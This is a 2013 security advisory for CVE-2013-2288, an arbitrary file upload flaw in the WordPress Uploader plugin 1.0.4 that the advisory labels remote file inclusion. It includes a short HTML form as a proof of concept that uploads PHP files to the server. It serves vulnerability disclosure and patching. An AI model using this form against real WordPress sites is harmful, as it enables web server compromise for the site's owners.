Remote File Inclusion in Uploader version 1.0.4

Title: Remote File Inclusion in Uploader version 1.0.4
Release Date: 2013/03/01
Vulnerable Application: Uploader plugin for WordPress (1.0.4)
Type: Remote File Inclusion
Level: High (Low/High/Critical)
CVSS: 4 (Av:N/AC:L/Au:S/C:N/I:P/A:P)

Dognædis Ref.: DGS-SEC-17
CVE Ref.: CVE-2013-2288
Other Ref.:
Discover Credits: CodeV - Code Analyzer
Bulletin Author(s): AMPP - CodeV Team
Contact: irt@dognaedis.com

Overview:

Uploader creates an Uploader role for file uploading.

Scope:

File: <app_root>/wp-content/plugins/uploader/uploadify/uploadify.php
Vulnerable Argument(s): $target_file
Code:

```
line 26: move_uploaded_file($temp_file, $target_file)
```

Proof(s) of Concept:

```
<form
action="<app_root>/wp-content/plugins/uploader/uploadify/uploadify.php?folder=/wordpress/wp-content/uploa
ds/&fileext=php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" id="Filedata"><br>
<input type="submit" name="submit" value="Submit">
</form>
```

Description:

WordPress plugin that allows the user to upload files to the server.

Impact:

By using this exploit, might be possible to completely compromise the Web Server, only constrained by the Apache User permissions.

Resolution:

Verify the location of the files, just files located on the temporary folder can be moved to permanent locations.

Official Solution:

At the moment, there is no official solution for the reported vulnerabilities.
The developer is yet to answer the first contact attempt.

External References:

https://www.owasp.org/index.php/PHP_File_Inclusion